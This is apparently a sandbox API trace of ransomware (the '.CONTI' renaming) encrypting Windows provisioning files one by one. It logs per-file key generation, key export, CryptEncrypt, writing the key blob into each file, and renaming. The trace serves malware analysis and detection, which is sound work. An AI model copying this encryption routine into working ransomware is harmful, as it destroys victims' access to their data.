	[0109.931] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.931] CloseHandle (hObject=0x3ac) returned 1
	[0109.931] GetProcessHeap () returned 0x1720000
	[0109.931] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.931] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0109.931] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.931] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.932] GetProcessHeap () returned 0x1720000
	[0109.932] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.932] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.932] GetProcessHeap () returned 0x1720000
	[0109.932] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b740c0 | out: hHeap=0x1720000) returned 1
	[0109.932] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.932] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b40090 | out: phKey=0x6b40090*=0x6b7f538) returned 1
	[0109.932] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b40094, pdwDataLen=0x433f9bc | out: pbData=0x6b40094*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.933] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0109.933] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.933] GetLastError () returned 0x0
	[0109.933] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=738) returned 1
	[0109.933] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e2
	[0109.934] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.934] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.934] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.934] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.934] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b40094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b40094*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.936] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.936] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2e2, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2e2, lpOverlapped=0x0) returned 1
	[0109.936] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e2, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2f0) returned 1
	[0109.936] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.936] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2f0, lpOverlapped=0x0) returned 1
	[0109.936] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.936] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b40088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b40088*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.936] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.936] CloseHandle (hObject=0x3ac) returned 1
	[0109.936] GetProcessHeap () returned 0x1720000
	[0109.936] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.936] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml"
	[0109.936] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml.CONTI"
	[0109.936] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0109.937] GetProcessHeap () returned 0x1720000
	[0109.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.937] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0109.937] GetProcessHeap () returned 0x1720000
	[0109.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b74218 | out: hHeap=0x1720000) returned 1
	[0109.937] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.937] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b412d0 | out: phKey=0x6b412d0*=0x6b7f678) returned 1
	[0109.937] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b412d4, pdwDataLen=0x433f9bc | out: pbData=0x6b412d4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.938] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml")) returned 0x20
	[0109.938] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.938] GetLastError () returned 0x0
	[0109.938] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=732) returned 1
	[0109.938] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc
	[0109.938] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.939] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.939] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.939] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.939] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b412d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b412d4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.940] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.941] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2dc, lpOverlapped=0x0) returned 1
	[0109.941] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2dc, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e0) returned 1
	[0109.941] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.941] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.941] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.941] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b412c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b412c8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.941] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.941] CloseHandle (hObject=0x3ac) returned 1
	[0109.941] GetProcessHeap () returned 0x1720000
	[0109.941] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.941] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml"
	[0109.941] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml.CONTI"
	[0109.941] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml.conti")) returned 1
	[0109.942] GetProcessHeap () returned 0x1720000
	[0109.942] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.942] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0109.942] GetProcessHeap () returned 0x1720000
	[0109.942] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b730a0 | out: hHeap=0x1720000) returned 1
	[0109.942] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.942] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b41e38 | out: phKey=0x6b41e38*=0x6b7f3b8) returned 1
	[0109.942] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b41e3c, pdwDataLen=0x433f9bc | out: pbData=0x6b41e3c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.943] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml")) returned 0x20
	[0109.943] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.944] GetLastError () returned 0x0
	[0109.944] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=736) returned 1
	[0109.944] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e0
	[0109.944] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.944] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.944] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.944] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.944] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b41e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b41e3c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.946] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.946] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.946] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e0, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2f0) returned 1
	[0109.946] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.946] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2f0, lpOverlapped=0x0) returned 1
	[0109.946] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.946] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b41e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b41e30*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.946] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.946] CloseHandle (hObject=0x3ac) returned 1
	[0109.946] GetProcessHeap () returned 0x1720000
	[0109.946] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.946] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml"
	[0109.947] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml.CONTI"
	[0109.947] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml.conti")) returned 1
	[0109.947] GetProcessHeap () returned 0x1720000
	[0109.947] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.947] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.947] GetProcessHeap () returned 0x1720000
	[0109.947] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b731f8 | out: hHeap=0x1720000) returned 1
	[0109.947] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.947] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b42080 | out: phKey=0x6b42080*=0x6b7f638) returned 1
	[0109.947] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b42084, pdwDataLen=0x433f9bc | out: pbData=0x6b42084*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.948] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
